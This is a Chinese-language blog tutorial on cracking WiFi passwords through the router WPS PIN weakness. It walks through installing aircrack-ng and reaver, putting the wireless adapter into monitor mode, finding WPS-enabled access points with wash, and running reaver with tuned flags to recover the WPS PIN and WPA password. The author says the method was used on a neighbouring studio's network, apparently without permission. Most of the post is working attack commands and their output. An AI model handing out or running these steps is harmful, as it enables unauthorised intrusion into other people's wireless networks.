渗透之——使用reaver傻瓜式破解wifi之利用路由器WPS漏洞

2022-08-29 10:14:53 浏览数 (1)

大家好，又见面了，我是你们的朋友全栈君。

跟这篇破解教程一样，网上破解教程多是基于路由器的WPS漏洞破解，但是这样的路由器只占少数。一般wifi是依据WPA/WPA2加密的，因此想要破解一般的wifi，还得破解这个协议，虽然近期这个协议也被破解了，不过也是很不容易的。 刚入门破解，不是很熟悉，在网上找各种破解资料，终于破解成功了临近工作室的wifi，沾沾自喜~ 本文破解wifi针对一些路由器的WPS（Wi-fi protected setup）漏洞,尝试很多次抓包PIN码，破解2-3天，正常来说是一定能抓到正确的PIN码的。 一个路由器对应唯一的MAC和PIN，而一旦得到MAC和PIN，通过reaver工具，路由密码等信息就可以很快得出来。 1.安装依赖包： sudo apt-get install -y libpcap-dev libsqlite3-dev sqlite3 libpcap0.8-dev libssl-dev build-essential iw tshark subversion 2.安装aircrack-ng： svn co http://svn.aircrack-ng.org/trunk/ aircrack-ng cd aircrack-ng/ make (aircrack-ng源码安装参考http://www.tuicool.com/articles/MfUjii) sudo make install 3.安装reaver: 在https://pan.baidu.com/s/1kUdvM1D下载reaver tar zxvf reaver-1.4.tar.gz cd reaver-1.4/src ./configure make sudo make install 4.如果安装成功后，会有airmon-ng,airodump-ng,reaver等命令可用(如果没有ethtool,要安装：apt-get install ethtool) 5.开始破解：(参考http://www.she.vc/article/18-108334-0.html http://www.kali.org.cn/thread-20995-1-1.html) （1）sudo airmon-ng check kill （关闭进程，部分进程可能影响到后续的操作）

代码语言：javascript复制
Found 4 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to run 'airmon-ng check kill' 

	PID Name 
	431 avahi-daemon 
	446 dhcpcd 
	470 avahi-daemon 
	512 wpa_supplicant

（2）sudo airmon-ng （3）sudo airmon-ng start wlan1 （4）sudo airmon-ng start wlan1mon （开启网卡，将网卡转换成混杂模式）

代码语言：javascript复制
PHY Interface Driver Chipset 

phy0 wlan0 brcmfmac_sdio Broadcom 43430 

Missing nexutil, cannot switch to monitor mode. 
phy1 wlan1mon mt7601u Ralink Technology, Corp. 

(mac80211 monitor mode already enabled for [phy1]wlan1mon on [phy1]10)

（5）sudo airodump-ng wlan1mon （查看ap信号强度，破解的wifi信号越强越好） （6）wash -i wlan1mon -C （查看支持wps的ap）（一种说法是：MB是54e.的可破解，54e不可破解） 6.（正式破解，在root下）使用reaver： 因状况调整参数：MAC即BSSID的值，-c后面的数字是CH的值。 目标信号非常好: reaver -i wlan1mon -b MAC -a -S -vv -d0 -c 1 目标信号普通: reaver -i wlan1mon -b MAC -a -S -vv -d2 -t 5 -c 1 目标信号一般: reaver -i wlan1mon -b MAC -a -S -vv -d5 -c 1 7.每60s重新破解一次，等待三天，密码将会出来 8.最终得到PIN码（WPS PIN）和密码（WPA PSK），如果密码 被改，只要reaver加上-p命令 (reaver -i wlan1mon -b MAC -p PIN码 -vv)，密码又能秒出； 但如果PIN码被改，就要重新破解了。 9.破解完成后，将网卡转回正常状态（airmon-ng stop wlan1mon）

备注：reaver时可以随时停止，它自己会保存进度 升级破解固件http://netsecurity.51cto.com/art/201105/264844_all.htm

发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/145897.html原文链接：https://javaforall.cn

bash bash指令 http https 网络安全

0 人点赞